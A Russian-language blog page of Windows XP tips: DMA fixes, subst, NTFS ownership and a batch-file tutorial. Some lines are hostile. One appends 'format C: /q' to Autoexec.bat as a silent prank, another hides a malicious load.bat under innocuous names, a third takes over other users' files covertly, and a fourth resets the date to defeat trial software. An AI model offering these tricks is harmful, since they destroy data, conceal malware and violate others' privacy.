Loading
Красноглазым Джедаям
компьютерной вселенной
посвящается.

Мелкие досады Windows.

При эксплуатации любой операционной системы возможны разнообразные глюки. Как ни ругают Windows, как ни хвалят Linux все равно есть проблемы и там и там. Но поскольку проблемы в Linux решают продвинутые парни с регалиями технических вузов, я не буду соваться в их огороды - сами с усами! Миллионы же пользователей Windows часто беззащитно взирают на издевательство над ними операционной системы от Билли. Помогу чем смогу.

MS Windows крепкий орешек, но все же
мы не привыкли отступать!
Нам расколоть ее поможет простой девиз:
"Хочу все знать!"

Дисковод упороно пишет на маленькой скорости. Независимо от выбираемого режима, все равно фактическая 1-Х. Что делать?

ПКМ - правая кнопка мыши. Мой компьютер(пкм) - управление - диспетчер устройств - IDE контроллеры и посмотреть в свойствах контроллера первичного и вторичного какой стоит режим передачи данных....если PIO то нужно выставить DMA, если и после ручного выставления DMA стоит PIO, то вот она та заветная кнопка, которая портит кашу маслом. Удаляем сей контроллер из диспетчера устройств и перегружаем машину. после нахождения устройств и установке на них драйверов вновь смотрим свойства - проблема должна уйти (по крайней мере у меня еще не было накладок).

Превращаем папку в виртуальный диск

Пуск - "Выполнить" пишем команду "subst пробел [букву желаемого диска, например j:] пробел [адрес папки, например c:folder]" жмем "ок" и в системе появляется диск "j" и так далее пока не закончится алфавит.

Пример:
subst j: c:folder

После переустановки виндоуз возвращаем на место папку мои документы, а она не открывается что делать

При условии что пользователь Администратор - Правой кнопокой по папке "Documents and Settings" -> свойства -> безопастность -> дополнительно Убираем галочку наследовать разрешения Ставим Заменить Разрешения для всех дочерних объектов заходим в -> Владелец Добавляем пользователя Администратор Ставим галочку заменить владельцев субконтейнера Нажимаем ОК в обоих окнах Правой клавишей мыши переходим к меню "Свойства" папки "Мои документы", Смена владельца: свойства папки -> безопасность -> дополнительно -> владелец. вкладка "Безопасность - Дополнительно - Владелец" выделить "Администраторы" внизу поставить галочку "Заменить владельца субконтейнеров и объектов", нажать "Ок" и со всем согласиться.

Что бы вкладка Безопасность появилась надо зайти: МойКомпьютер - СвойстваПапки - Вид - ИспользоватьПростойОбщийДоступКФайлам - снять "галочку". Если вкладки "Безопасность" нет, надо в "Свойствах" папки на вкладке "Вид" убрать установленную по умолчанию галочку "Использовать простой общий доступ к файлам".

А теперь немного теории для тех кому это интересно

Файловая система NTFS имеет много преимуществ перед FAT32 и одно из самых значительных – это разграничение прав доступа пользователей к файлам и папкам. Бывало ли хоть раз, чтобы Вам система отказывала в доступе к тому или иному файлу или папке? Если Вы впервые об этом слышите, то попробуйте, например, открыть скрытую системную папку System Volume Information на любом разделе жесткого диска. В данной папке хранятся снимки системного состояния и реестра (если включено восстановление системы) и потому даже администратору к ней доступ запрещен изначально. Так как она скрыта от глаз, то чтобы ее увидеть, необходимо произвести несложные манипуляции. В панели управления в свойствах папки во вкладке «Вид» снимите флажок «Скрывать защищенные системные файлы» а также включите опцию «Показывать скрытые файлы и папки». Теперь перейдите на Ваш системный диск и попробуйте открыть папку System Volume Information. Ничего не выйдет.

В этом нет ничего страшного, просто у Вас нет прав на эту папку . Но, обладая правами администратора компьютера, нетрудно их себе назначить и стать владельцем любой папки или файла. По умолчанию в Windows XP скрыта возможность назначения прав в свойствах объектов. Это было сделано, чтобы начинающие пользователи случайно не наломали дров.

Итак, нам надо открыть эту возможность. В панели управления в свойствах папки во вкладке «Вид» снимите флажок напротив «Использовать простой общий доступ к файлам». Теперь в свойствах каждого объекта появится новая вкладка «Безопасность». Именно через нее и назначаются права пользователей на объекты. На примере той же папки System Volume Information назначим себе права и станем ее владельцем.

Открыв свойства этой папки и перейдя на вкладку «Безопасность» Вы увидите, что полными правами обладает только система, других пользователей нет. Нажмите на кнопку «Добавить» и в поле имени пользователя введите точное имя пользователя или, например, впишите группу «Администраторы». Для исключения ошибок, рекомендуется нажать на кнопку «Проверить имена». Если все нормально, то имя будет принято и можно нажать ОК. Теперь Вы добавлены в список пользователей, при этом Вам автоматически назначены права на чтение, выполнение и просмотр содержимого папки. Если этого мало, то установите флажок напротив «Полный доступ» и нажмите на «Применить».

Стать владельцем папки тоже не составит большого труда. Во вкладке «Безопасность» нажмите на кнопку «Дополнительно» и перейдите во вкладку «Владелец». В ней уже указан текущий владелец – группа «Администраторы». Так как Вы, так и так принадлежите к данной группе, то, в общем, менять владельца не имеет большого смысла. Но если все же хочется единолично владеть папкой, то в поле «Изменить владельца на» выделите себя, установите флажок напротив «Заменить владельца субконтейнеров и объектов» и нажмите на «Применить». После этого Вы и только Вы владелец папки.

Папка System Volume Information была взята для яркого показательного примера запрета доступа даже администратору. Вы же, как администратор можете проводить операции с правами доступа над любыми файлами и папками.

Для еще одного примера, немного сложнее предыдущего, создайте какую-нибудь папку. И попробуйте удалить любого пользователя из списка пользователей. Вам это не удастся, система скажет, что невозможно удалить, так как разрешения наследованы от своего предка, то есть от того, кто создал эту папку. Для устранения этой проблемы нажмите на кнопку «Дополнительно» и снимите флажок напротив «Наследовать от родительского объекта применимые к дочерним объектам разрешения». Здесь будьте предельно внимательны! Нажмите на кнопку «Копировать» если хотите оставить разрешения такими, какими они были ранее. Теперь в окне пользователей легко можно удалить любого. Либо нажмите на кнопку «Удалить». Все пользователи и разрешения очистятся. Ни в коем случае не нажимайте на кнопку «Применить» пока не добавите нового пользователя! Добавив себя, установите разрешения «Полный доступ» и только после этого нажимайте на «Применить».

Работая с вкладкой «Безопасность» Вы можете назначать права доступа к объектам любому из пользователей. То есть к одному объекту разрешать полный или ограниченный доступ пользователя, а к другому объекту запретить доступ вообще. Актуально для многопользовательской системы. Даже если Вам, администратору, пользователь запретит доступ к своим файлам и папкам (ведь он тоже может провести аналогичные действия со своими папками), Вам не составит труда стать владельцем его объектов и дать себе полный доступ. Потом Вы также можете себя удалить из списка пользователей, чтобы никто не знал. Единственный нюанс Вас может выдать, так это во вкладке «Владелец» текущим владельцем объекта будете Вы. Вот собственно и все!

Одновременное переименование нескольких файлов в Проводнике

  1. Чтобы запустить Проводник Windows, в меню "Пуск" выберите пункт "Все программы", откройте группу программ "Стандартные" и запустите приложение "Проводник".
  2. Откройте какую-нибудь папку и выделите в ней несколько файлов. Чтобы выделить несколько файлов, при выборе очередного файла удерживайте нажатой клавишу "CTRL".
  3. После окончания процедуры выделения нажмите клавишу "F2".
  4. Введите новое имя файла и нажмите клавишу "ENTER".

Примечание: После выполнения шага 3 пропадет подсветка у всех файлов, которые были выбраны для выделения, кроме выбранного последним. Однако, режим подсветки восстановится после выпонения всей процедуры, при этом будут переименованы все выделенные файлы. При переименовании нескольких файлов все файлы будут иметь одинаковые имена с добавлением в скобках уникального идентификатора файла. Например, если введенное вами новое название BUDGET , первый файл буден иметь имя BUDGET, а остальные - имя формата BUDGET (x) (везде без кавычек), где х - уникальный идентификатор, отсчет которого начинается со значения 1.

Если при вводе нового имени была допущена ошибка, сразу после выполнения переименования нескольких файлов нажмите комбинацию клавиш "CTRL"+"Z" или в меню "Правка" выберите пункт "Отменить переименование". Файлам будут возвращены оригинальные имена, после чего, при необходимости, повторите всю процедуру переименования.

Механизм переименования, применяемый в Проводнике, отличается от выполнения команды "REN" в командной строке. Например, при переименовании файлов smitha.doc, smithb.doc и smithc.doc в командной строке с помощью команды "ren smith*.doc smythe*.doc" (без кавычек) как результат файлы получат имена smythea.doc, smytheb.doc и smythec.doc.

Однако, если Вы выберете указанные три файла в Проводнике Windows XP и введете новое имя как "smythea.doc" (без кавычек), файлы получат имена smythea.doc, smythea (1).doc и smythea (2).doc. Чтобы присвоить данным файлам прежнюю структуру имен с идентификаторами "a", "b" и "c", выполните переименование каждого отдельного файла вручную.

Бат (batch) файлы,что же это такое?

Прежде всего - это пакетные дос файлы, которые содержат в себе в ASCII виде набор досовских команд. Проще говоря, bat файл содержит в себе скрипт, интерпритатором служит cmd.exe(расширения файлов .bat или .cmd)

Пример (файл ren.cmd):
 
ren *.php *.html
изменение расширений всех файлов .php на .html
Начну с простых команд :
  1. echo off - запрещение вывода на экран исполняемых команд (on - вкл.)
  2. deltree /y %файл% - удалить файл (/y означает "удалить без вопросов").
  3. В XP работает тока del (флаг /y не нужен).
  4. copy %путь\файл% %куда\файл% - копировать файл
  5. mkdir %название_диры% - создать директорию
  6. echo %текст% - вывести текст на экран
  7. echo %текст% > %путь\файл% - создать файл и вписать в него текст
  8. echo %текст% >> %путь\файл% - добавить текст в уже существующий файл
  9. if exist %путь\файл% %команда% - если существует файл, выполнить команду
  10. attrib %атрибут% %путь\файл% - поставить\убрать атрибуты файлу (+-h скрытый, +-s системный, +-r только чтение)
  11. start %путь\файл% - запустить файл
  12. cls - отчистить экран
  13. pause - выводит сообщение "Нажмите любую кнопку..."
  14. label %новая_метка% - поставить новую метку системного диска (С,D,E….)
  15. format %диск%: /q - быстрое форматирование диска
  16. ren %путь\файл% %новое_название_файла% - переименовать файл
  17. goto %метка%
  18. :%метка% - перескoчить с одного места кода на метку.
Продолжу «НЕПРОСТЫМИ»:
  1. choice /N /T:y,%сек% > nul - типа таймера (на n секунд задерживает выполнение последующих команд).
  2. %команда% > nul - запрещение вывода на экран самой команды и результата её действия (полезно при команде "copy"). Пример: copy c:\some.exe %windir%\some.exe > nul
  3. regedit /s %путь\файл.reg% - добавить ключи в реестр из файла, без вопросов
  4. start /m /w %путь\файл% - запустить файло в свёрнутом окне.
  5. echo format C: /q >> c:\Autoexec.bat добавляет в Autoexec.bat строчку «format C: /q» и при перезагрузке компа идёт быстрое форматирование диска из серии «Ты даже не заметишь» =) Это все потому что Autoexec.bat грузиться вместе с виндой,кстате winstart.bat тоже,но его нужно создавать отдельно!
  6. Кложим в каталог windows\command файл "load.bat" (наверное с плохим содержанием) .Его можно будет запустить такой строчкой: "load keybrd32.sys,,cyr\lat" или такой: "load VideoAdapter32.drv -- By windows setup --". Врядли такие строчки рискнёт кто-нибудь удалять и твой файл без проблем загрузится..=)
  7. if exist c:\Progra~1 set drv=c: if exist d:\Progra~1 set drv=d: if exist d:\Progra~1 set drv=e: После выполнения этого скрипта в переменной %drv% будет прописан диск с Виндой, с Program Files'ами.
  8. в переменной %windir% хранится каталог с виндусом в таком виде: диск:\название_каталога. Пример: copy c:\some.exe %windir%\some.exe
  9. batch скрипты не любят длинные, либо состоящие из двух слов, названия. Длинные урезаются до 6-ти букв (после них должно стоять "~1", к примеру "Program Files -> Progra~1"). Пробелы он просто убирает (The Bat -> TheBat~1). Это я к тому, что в бачах обращайся к файлам по их досовским названиям. Пример: copy c:\some.exe c:\Progra~1\some.exe (копируется файл в папку Program Files).
  10. JScript код пишем в *.js файл и его запускаем (имеется в виду не javascript! а WSH)
     
    echo var WSHShell = 
    WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
    echo WSHShell.Popup("твой_текст"); >> %temp%\mes.js
    start %temp%\mes.js
    deltree /y %temp%\mes.js
    
    Этот скрипт выводит на экран _Виндовое_ окошко (JScript) с твоим сообщением и кнопкой ОК. Замечание: код нужно писать без разрыва строки WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js.
И вот чем закончу

Переменные ,операторы,циклы и кое что ещё :

  1. @>команда> Оператор @ позволяет не выводить следующую за ним команду на экран. Это аналог оператора ECHO OFF только для одной строки.
  2. %<цифра 0-9> В языке BATCH-файлов возможно использование переменных. Всего может быть до 10 одновременно существующих независимых переменных. Значение переменной равно значению соответствующего параметра из командной строки. Переменная %0 будет содержать имя .bat-файла и, если вы указали, путь к нему. То есть, если у нас есть командная строка abc.bat a bc def то переменная %1 будет содержать значение a, %2 будет содержать bc, а %3 - def. Например, можно записать в файле ABC.BAT: ABC.BAT %2 %1 Это вызовет прекращение выполнения данного файла и передаст управление ему же, но с параметрами, записанными в обратном порядке.
  3. Команда SHIFT позволяет использовать число параметров командной строки более 10. При этом происходит циклический сдвиг влево и теряются более ранние параметры. Операция необратима.
  4. Команда CALL позволяет вызвать один пакетный файл из другого, не прекращая выполнения предыдущего.
    Пример:
     
    @ECHO OFF
    ECHO Этот текст выводится 
    CALL TEST.BAT
    ECHO Этот текст тоже выводится 
    TEST.BAT
    ECHO А этот уже не выводится. 
    
    При выполнении TEST.BAT обработка текущего пакетного файла была прекращена и управление было передано TEST.BAT.
  5. Оператор IF проверяет истинность какого-либо условия и в зависимости от этого выполняет или не выполняет команду следствие.
    Пример:
     
    IF EXIST TEST.BAT GOTO lab1 
    /*если существует файл TEST.BAT, то 
    перейти на метку lab1.*/ 
    IF NOT EXIST TEST.BAT GOTO exit 
    /*если файл TEST.BAT не существует, то 
    следует перейти на метку exit. */
    IF %1==ASDF GOTO asdflabel 
    /*если переменная %1 равна ASDF, то 
    осуществляется переход на метку asdflabel.*/ 
    IF ERRORLEVEL 1 GOTO err1 
    /*если ошибка (код возврата) выполнения 
    предыдущей команды равно 1, то перейти на
    метку err1.*/
    
  6. PAUSE Команда PAUSE приостанавливает выполнение пакетного файла и выдает на экран приглашение нажать на любую клавишу для продолжения работы.
  7. FOR %параметр IN (<VAR1 [VAR2] [VAR3] ...>) DO <команда> С помощью оператора FOR возможно выполнение одной и той же команды несколько раз для различных параметров.
  8. SET <Имя_переменной>=Значение_переменной Оператор SET представляет собой расширение возможностей работы с параметрами в операционной системе. Он задает переменную, значение которой подставляется вместо ее имени при любом использовании этого имени между знаками процента. Наиболее известной является переменная PATH, представляющая собой набор путей для быстрого поиска файлов.
  9. Вот несколько примеров BAT-файла, который выполняет компиляцию проекта на ассемблере.
    Компиляция проекта без ресурсов:
     
    @echo off
    set file=dostoansi
    C:\MASM32\BIN\Ml.exe /c /coff %file%.asm
    C:\MASM32\BIN\Link.exe /SUBSYSTEM:WINDOWS %file%.obj
     /RELEASE
    pause
    
    Компиляция проекта с ресурсами
    @echo off
    set file=name_project
    if not exist rsrc.rc goto over1
    C:\MASM32\BIN\Rc.exe /v rsrc.rc
    C:\MASM32\BIN\Cvtres.exe /machine:ix86 rsrc.res
    :over1
    \masm32\bin\ml /c /coff /Cp %file%.asm
    if errorlevel 1 goto asm_error
    C:\MASM32\BIN\Link.exe %file%.obj rsrc.res 
    /SUBSYSTEM:WINDOWS
    if errorlevel 1 goto link_error
    if exist *.obj del %file%.obj
    :asm_error
    echo AM
    goto clear
    :link_error
    echo LINKER ERROR
    :clear
    if exist %file%.obj del %file%.obj
    pause
    :end
    
  10. Пример автоматизированного удаления файлов по типу
    del /f /s /q C: *.tmp
    
  11. Пример ожидания появления файла (например при копировании большого объёма информации)
    :test
    if exist c:\1.avi goto go
    sleep 10
    goto test
    :go
    rename c:\1.avi 1.avi
    if not errorlevel 0 goto go
    
  12. Пример изменения текущей даты и восстановления её после запуска приложения. (Может быть полезно, если приложение trial и срок демонстрациии закончился)
    set tempdate=%date:~-10%
    date 01-01-01
    start trial.exe
    date %tempdate%
    
  13. Пример экспорта ветки реестра при помощи BATCH-файла
    regedit.exe -ea C:\environment.reg 
    "HKEY_CURRENT_USER\Environment"
    
  14. Пример переименования файлов по маске
    for /f "tokens=*" %%a in 
    ('dir /b PATH\*.*') do ren PATH\%%a Prefix%%a
    
    Здесь заменяем PATH\ на путь к файлам, которые будут переименованы, а Prefix на те символы, которые будут добавлены к имени файла при переименовании. Если в папке, где происходит переименование файлов есть подпапки, то подпапки будут переименованы как и файлы. Если указать определенную маску для типов файлов, которые подлежат переименованию, например, *.txt, а не *.*, то будут переименованы файлы только указанных типов.

Контактная информация

E-Mail: oleynikww@gmail.com

Добавить комментарий

Комментарии пользователей